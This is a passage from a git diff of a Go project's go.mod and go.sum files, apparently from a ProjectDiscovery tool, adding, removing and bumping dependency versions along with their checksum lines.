github.com/corpix/uarand v0.1.1 github.com/fatih/structs v1.1.0 // indirect github.com/go-rod/rod v0.91.1 github.com/golang/protobuf v1.4.3 // indirect github.com/google/go-github v17.0.0+incompatible - github.com/google/go-github/v32 v32.1.0 + github.com/gosuri/uilive v0.0.4 // indirect + github.com/gosuri/uiprogress v0.0.1 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-retryablehttp v0.6.8 // indirect + github.com/itchyny/gojq v0.12.4 github.com/json-iterator/go v1.1.10 github.com/julienschmidt/httprouter v1.3.0 github.com/karlseguin/ccache v2.0.3+incompatible @@ -26,7 +30,7 @@ require ( github.com/pkg/errors v0.9.1 github.com/projectdiscovery/clistats v0.0.8 github.com/projectdiscovery/fastdialer v0.0.8 - github.com/projectdiscovery/goflags v0.0.5 + github.com/projectdiscovery/goflags v0.0.6 github.com/projectdiscovery/gologger v1.1.4 github.com/projectdiscovery/hmap v0.0.1 github.com/projectdiscovery/interactsh v0.0.3 @@ -43,12 +47,13 @@ require ( github.com/spf13/cast v1.3.1 github.com/stretchr/testify v1.7.0 github.com/syndtr/goleveldb v1.0.0 + github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible github.com/trivago/tgo v1.0.7 // indirect github.com/valyala/fasttemplate v1.2.1 github.com/xanzy/go-gitlab v0.44.0 go.uber.org/atomic v1.7.0 go.uber.org/multierr v1.6.0 - go.uber.org/ratelimit v0.1.0 + go.uber.org/ratelimit v0.2.0 golang.org/x/crypto v0.0.0-20210218145215-b8e89b74b9df // indirect golang.org/x/net v0.0.0-20210521195947-fe42d452be8f golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99 diff --git a/v2/go.sum b/v2/go.sum index 57b11003..e5fcc17e 100644 --- a/v2/go.sum +++ b/v2/go.sum @@ -40,11 +40,24 @@ github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF0 github.com/Masterminds/vcs v1.13.0/go.mod h1:N09YCmOQr6RLxC6UNHzuVwAdodYbbnycGHSmwVJjcKA= github.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d h1:G0m3OIz70MZUWq3EgK3CesDbo8upS2Vm9/P3FtgI+Jk= github.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg= +github.com/andres-erbsen/clock v0.0.0-20160526145045-9e14626cd129 h1:MzBOUgng9orim59UnfUTLRjMpd09C5uEVQ6RPGeCaVI= +github.com/andres-erbsen/clock v0.0.0-20160526145045-9e14626cd129/go.mod h1:rFgpPQZYZ8vdbc+48xibu8ALc3yeyd64IhHS+PU6Yyg= github.com/andygrunwald/go-jira v1.13.0 h1:vvIImGgX32bHfoiyUwkNo+/YrPnRczNarvhLOncP6dE= github.com/andygrunwald/go-jira v1.13.0/go.mod h1:jYi4kFDbRPZTJdJOVJO4mpMMIwdB+rcZwSO58DzPd2I= +github.com/apex/log v1.9.0 h1:FHtw/xuaM8AgmvDDTI9fiwoAL25Sq2cxojnZICUU8l0= +github.com/apex/log v1.9.0/go.mod h1:m82fZlWIuiWzWP04XCTXmnX0xRkYYbCdYn8jbJeLBEA= +github.com/apex/logs v1.0.0/go.mod h1:XzxuLZ5myVHDy9SAmYpamKKRNApGj54PfYLcFrXqDwo= +github.com/aphistic/golf v0.0.0-20180712155816-02c07f170c5a/go.mod h1:3NqKYiepwy8kCu4PNA+aP7WUV72eXWJeP9/r3/K9aLE= +github.com/aphistic/sweet v0.2.0/go.mod h1:fWDlIh/isSE9n6EPsRmC0det+whmX6dJid3stzu0Xys= github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkEghdlcqw7yxLeM89kiTRPUo= +github.com/aws/aws-sdk-go v1.20.6/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo= +github.com/aybabtme/rgbterm v0.0.0-20170906152045-cc83f3b3ce59/go.mod h1:q/89r3U2H7sSsE2t6Kca0lfwTK8JdoNGS/yzM/4iH5I= github.com/blang/semver v3.5.1+incompatible h1:cQNTCjp13qL8KC3Nbxr/y2Bqb63oX6wdnnjpJbkM4JQ= github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk= +github.com/bradfitz/iter v0.0.0-20191230175014-e8f45d346db8 h1:GKTyiRCL6zVf5wWaqKnf+7Qs6GbEPfd4iMOitWzXJx8= +github.com/bradfitz/iter v0.0.0-20191230175014-e8f45d346db8/go.mod h1:spo1JLcs67NmW1aVLEgtA8Yy1elc+X8y5SRW1sFW4Og= +github.com/c4milo/unpackit v0.1.0 h1:91pWJ6B3svZ4LOE+p3rnyucRK5fZwBdF/yQ/pcZO31I= +github.com/c4milo/unpackit v0.1.0/go.mod h1:pvXCMYlSV8zwGFWMaT+PWYkAB/cvDjN2mv9r7ZRSxEo= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= @@ -64,12 +77,16 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumC github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U= github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE= +github.com/dsnet/compress v0.0.1 h1:PlZu0n3Tuv04TzpfPbrnI0HW/YwodEXDS+oPKahKF0Q= +github.com/dsnet/compress v0.0.1/go.mod h1:Aw8dCMJ7RioblQeTqt88akK31OvO8Dhf5JflhBbQEHo= +github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY= github.com/eggsampler/acme/v3 v3.2.1 h1:Lfsrg3M2zt00QRnizOFzdpSfsS9oDvPsGrodXS/w1KI= github.com/eggsampler/acme/v3 v3.2.1/go.mod h1:/qh0rKC/Dh7Jj+p4So7DbWmFNzC4dpcpK53r226Fhuo= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/structs v1.0.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= @@ -78,6 +95,7 @@ github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMo github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-ole/go-ole v1.2.4 h1:nNBDSCOigTSiarFpYE9J/KtEA1IOW4CNeqT9TQDqCxI= github.com/go-ole/go-ole v1.2.4/go.mod h1:XCwSNxSkXRo4vlyPy93sltvi/qJq0jqQhjqQNIwKuxM= github.com/go-redis/redis v6.15.5+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA= @@ -120,12 +138,11 @@ github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.1 h1:JFrFEBb2xKufg6XkJsJr+WbKb4FQlURi5RUcBveYu9k= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4 h1:L8R9j+yAqZuZjsqh/z+F1NCffTKKLShY6zXTItVIZ8M= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY= github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ= -github.com/google/go-github/v32 v32.1.0 h1:GWkQOdXqviCPx7Q7Fj+KyPoGm4SwHRh8rheoPhd27II= -github.com/google/go-github/v32 v32.1.0/go.mod h1:rIEpZD9CTDQwDK9GDrtMTycQNA4JU3qBsCizh3q2WCI= github.com/google/go-querystring v0.0.0-20170111101155-53e6ce116135/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= github.com/google/go-querystring v1.0.0 h1:Xkwi/a1rcvNg1PPYe5vI8GbeBY/jrVuDX5ASuANWTrk= github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= @@ -140,10 +157,15 @@ github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs= github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/gosuri/uilive v0.0.4 h1:hUEBpQDj8D8jXgtCdBu7sWsy5sbW/5GhuO8KBwJ2jyY= +github.com/gosuri/uilive v0.0.4/go.mod h1:V/epo5LjjlDE5RJUcqx8dbw+zc93y5Ya3yg8tfZ74VI= +github.com/gosuri/uiprogress v0.0.1 h1:0kpv/XY/qTmFWl/SkaJykZXrBBzwwadmW8fRb7RJSxw= +github.com/gosuri/uiprogress v0.0.1/go.mod h1:C1RTYn4Sc7iEyf6j8ft5dyoZ4212h8G1ol9QQluh5+0= github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= @@ -154,11 +176,20 @@ github.com/hashicorp/go-retryablehttp v0.6.8 h1:92lWxgpa+fF3FozM4B3UZtHZMJX8T5XT github.com/hashicorp/go-retryablehttp v0.6.8/go.mod h1:vAew36LZh98gCBJNLH42IQ1ER/9wtLZZ8meHqQvEYWY= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hooklift/assert v0.1.0 h1:UZzFxx5dSb9aBtvMHTtnPuvFnBvcEhHTPb9+0+jpEjs= +github.com/hooklift/assert v0.1.0/go.mod h1:pfexfvIHnKCdjh6CkkIZv5ic6dQ6aU2jhKghBlXuwwY= github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/itchyny/go-flags v1.5.0/go.mod h1:lenkYuCobuxLBAd/HGFE4LRoW8D3B6iXRQfWYJ+MNbA= +github.com/itchyny/gojq v0.12.4 h1:8zgOZWMejEWCLjbF/1mWY7hY7QEARm7dtuhC6Bp4R8o= +github.com/itchyny/gojq v0.12.4/go.mod h1:EQUSKgW/YaOxmXpAwGiowFDO4i2Rmtk5+9dFyeiymAg= +github.com/itchyny/timefmt-go v0.1.3 h1:7M3LGVDsqcd0VZH2U+x393obrzZisp7C0uEe921iRkU= +github.com/itchyny/timefmt-go v0.1.3/go.mod h1:0osSSCQSASBJMsIZnhAaF1C2fCBTJZXrnj37mG8/c+A= github.com/jasonlvhit/gocron v0.0.1 h1:qTt5qF3b3srDjeOIR4Le1LfeyvoYzJlYpqvG7tJX5YU= github.com/jasonlvhit/gocron v0.0.1/go.mod h1:k9a3TV8VcU73XZxfVHCHWMWF9SOqgoku0/QlY2yvlA4= +github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= +github.com/jpillora/backoff v0.0.0-20180909062703-3050d21c67d7/go.mod h1:2iMrUgbbvHEiQClaW2NsSzMyGHqN+rDFqY705q49KG0= github.com/json-iterator/go v1.1.10 h1:Kz6Cvnvv2wGdaG/V8yMvfkmNiXq9Ya2KUv4rouJJr68= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= @@ -174,7 +205,15 @@ github.com/karlseguin/expect v1.0.2-0.20190806010014-778a5f0c6003/go.mod h1:zNBx github.com/karrick/godirwalk v1.16.1 h1:DynhcF+bztK8gooS0+NDJFrdNZjJ3gzVzC545UNA9iw= github.com/karrick/godirwalk v1.16.1/go.mod h1:j4mkqPuvaLI8mp1DroR3P6ad7cyYd4c1qeJ3RV7ULlk= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/klauspost/compress v1.4.1 h1:8VMb5+0wMgdBykOV96DwNwKFQ+WTI4pzYURP99CcB9E= +github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= +github.com/klauspost/cpuid v1.2.0 h1:NMpwD2G9JSFOE1/TJjGSo5zG7Yb2bTe7eq1jH+irmeE= +github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= +github.com/klauspost/pgzip v1.2.5 h1:qnWYvvKqedOF2ulHpMG72XQol4ILEJ8k2wwRl/Km8oE= +github.com/klauspost/pgzip v1.2.5/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs= +github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= @@ -184,9 +223,16 @@ github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/logrusorgru/aurora v0.0.0-20200102142835-e9ef32dff381/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= +github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= +github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA= +github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.10 h1:CoZ3S2P7pvtP45xOtBw+/mDL2z0RKI576gSkzRRpdGg= github.com/mattn/go-runewidth v0.0.10/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk= +github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE= github.com/miekg/dns v1.1.29/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM= github.com/miekg/dns v1.1.35/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM= github.com/miekg/dns v1.1.38 h1:MtIY+fmHUVVgv1AXzmKMWcwdCYxTRPG1EDjpqF4RCEw= @@ -206,11 +252,13 @@ github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+W github.com/onsi/ginkgo v1.10.1 h1:q/mM8GF/n0shIN8SaAZ0V+jnLPzen6WIVZdiwrRlMlo= github.com/onsi/ginkgo v1.10.1/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= +github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= github.com/onsi/gomega v1.7.0 h1:XPnZz8VVBHjVsy1vzJmRwIcSwiUO+JFfrv/xGiigmME= github.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= github.com/owenrumney/go-sarif v1.0.4 h1:0LFC5eHP6amc/9ajM1jDiE52UfXFcl/oozay+X3KgV4= github.com/owenrumney/go-sarif v1.0.4/go.mod h1:DXUGbHwQcCMvqcvZbxh8l/7diHsJVztOKZgmPt88RNI= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= @@ -219,8 +267,8 @@ github.com/projectdiscovery/clistats v0.0.8 h1:tjmWb15mqsPf/yrQXVHLe2ThZX/5+mgKS github.com/projectdiscovery/clistats v0.0.8/go.mod h1:lV6jUHAv2bYWqrQstqW8iVIydKJhWlVaLl3Xo9ioVGg= github.com/projectdiscovery/fastdialer v0.0.8 h1:mEMc8bfXV5hc1PUEkJiUnR5imYQe6+839Zezd5jLkc0= github.com/projectdiscovery/fastdialer v0.0.8/go.mod h1:AuaV0dzrNeBLHqjNnzpFSnTXnHGIZAlGQE+WUMmSIW4= -github.com/projectdiscovery/goflags v0.0.5 h1:jI6HD9Z7vkg4C4Cz16BfZKICnIf94W3KFU5M3DcUgUk= -github.com/projectdiscovery/goflags v0.0.5/go.mod h1:Ae1mJ5MIIqjys0lFe3GiMZ10Z8VLaxkYJ1ySA4Zv8HA= +github.com/projectdiscovery/goflags v0.0.6 h1:4ErduTfSC55cRR3TmUg+TQirBlCuBdBadrluAsy1pew= +github.com/projectdiscovery/goflags v0.0.6/go.mod h1:Ae1mJ5MIIqjys0lFe3GiMZ10Z8VLaxkYJ1ySA4Zv8HA= github.com/projectdiscovery/gologger v1.1.3/go.mod h1:jdXflz3TLB8bcVNzb0v26TztI9KPz8Lr4BVdUhNUs6E= github.com/projectdiscovery/gologger v1.1.4 h1:qWxGUq7ukHWT849uGPkagPKF3yBPYAsTtMKunQ8O2VI= github.com/projectdiscovery/gologger v1.1.4/go.mod h1:Bhb6Bdx2PV1nMaFLoXNBmHIU85iROS9y1tBuv7T5pMY= @@ -246,13 +294,18 @@ github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNC github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/rogpeppe/fastuuid v1.1.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rs/xid v1.2.1 h1:mhH9Nq+C1fY2l1XIpgxIiUOfNpRBYH1kKcr+qfKgjRc= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= github.com/segmentio/ksuid v1.0.3 h1:FoResxvleQwYiPAVKe1tMUlEirodZqlqglIuFsdDntY= github.com/segmentio/ksuid v1.0.3/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE= +github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= github.com/shirou/gopsutil/v3 v3.21.5 h1:YUBf0w/KPLk7w1803AYBnH7BmA+1Z/Q5MEZxpREUaB4= github.com/shirou/gopsutil/v3 v3.21.5/go.mod h1:ghfMypLDrFSWN2c9cDYFLHyynQ+QUht0cv/18ZqVczw= +github.com/smartystreets/assertions v1.0.0/go.mod h1:kHHU4qYBaI3q23Pp3VPrmWhuIUrLW/7eUrw0BU5VaoM= +github.com/smartystreets/go-aws-auth v0.0.0-20180515143844-0c1422d1fdb9/go.mod h1:SnhjPscd9TpLiy1LpzGSKh3bXCfxxXuqd9xmQJy3slM= +github.com/smartystreets/gunit v1.0.0/go.mod h1:qwPWnhz6pn0NnRBP++URONOVyNkPyr4SauJk4cUOwJs= github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0bLI= github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= github.com/spf13/cast v1.3.1 h1:nFm6S0SMdyzrzcmThSipiEubIDy8WEXKNZ0UOgiRpng= @@ -267,6 +320,15 @@ github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5Cc github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE= github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ= +github.com/tj/assert v0.0.0-20171129193455-018094318fb0/go.mod h1:mZ9/Rh9oLWpLLDRpvE+3b7gP/C2YyLFYxNmcLnPTMe0= +github.com/tj/assert v0.0.3 h1:Df/BlaZ20mq6kuai7f5z2TvPFiwC3xaWJSDQNiIS3Rk= +github.com/tj/assert v0.0.3/go.mod h1:Ne6X72Q+TB1AteidzQncjw9PabbMp4PBMZ1k+vd1Pvk= +github.com/tj/go-buffer v1.1.0/go.mod h1:iyiJpfFcR2B9sXu7KvjbT9fpM4mOelRSDTbntVj52Uc= +github.com/tj/go-elastic v0.0.0-20171221160941-36157cbbebc2/go.mod h1:WjeM0Oo1eNAjXGDx2yma7uG2XoyRZTq1uv3M/o7imD0= +github.com/tj/go-kinesis v0.0.0-20171128231115-08b17f58cb1b/go.mod h1:/yhzCV0xPfx6jb1bBgRFjl5lytqVqZXEaeqWP8lTEao= +github.com/tj/go-spin v1.1.0/go.mod h1:Mg1mzmePZm4dva8Qz60H2lHwmJ2loum4VIrLgVnKwh4= +github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible h1:guTq1YxwB8XSILkI9q4IrOmrCOS6Hc1L3hmOhi4Swcs= +github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible/go.mod h1:waFwwyiAhGey2e+dNoYQ/iLhIcFqhCW7zL/+vDU1WLo= github.com/tklauser/go-sysconf v0.3.4 h1:HT8SVixZd3IzLdfs/xlpq0jeSfTX57g1v6wB1EuzV7M= github.com/tklauser/go-sysconf v0.3.4/go.mod h1:Cl2c8ZRWfHD5IrfHo9VN+FX9kCFjIOyVklgXycLB6ek= github.com/tklauser/numcpus v0.2.1 h1:ct88eFm+Q7m2ZfXJdan1xYoXKlmwsfP+k88q05KvlZc= @@ -274,6 +336,9 @@ github.com/tklauser/numcpus v0.2.1/go.mod h1:9aU+wOc6WjUIZEwWMP62PL/41d65P+iks1g github.com/trivago/tgo v1.0.1/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc= github.com/trivago/tgo v1.0.7 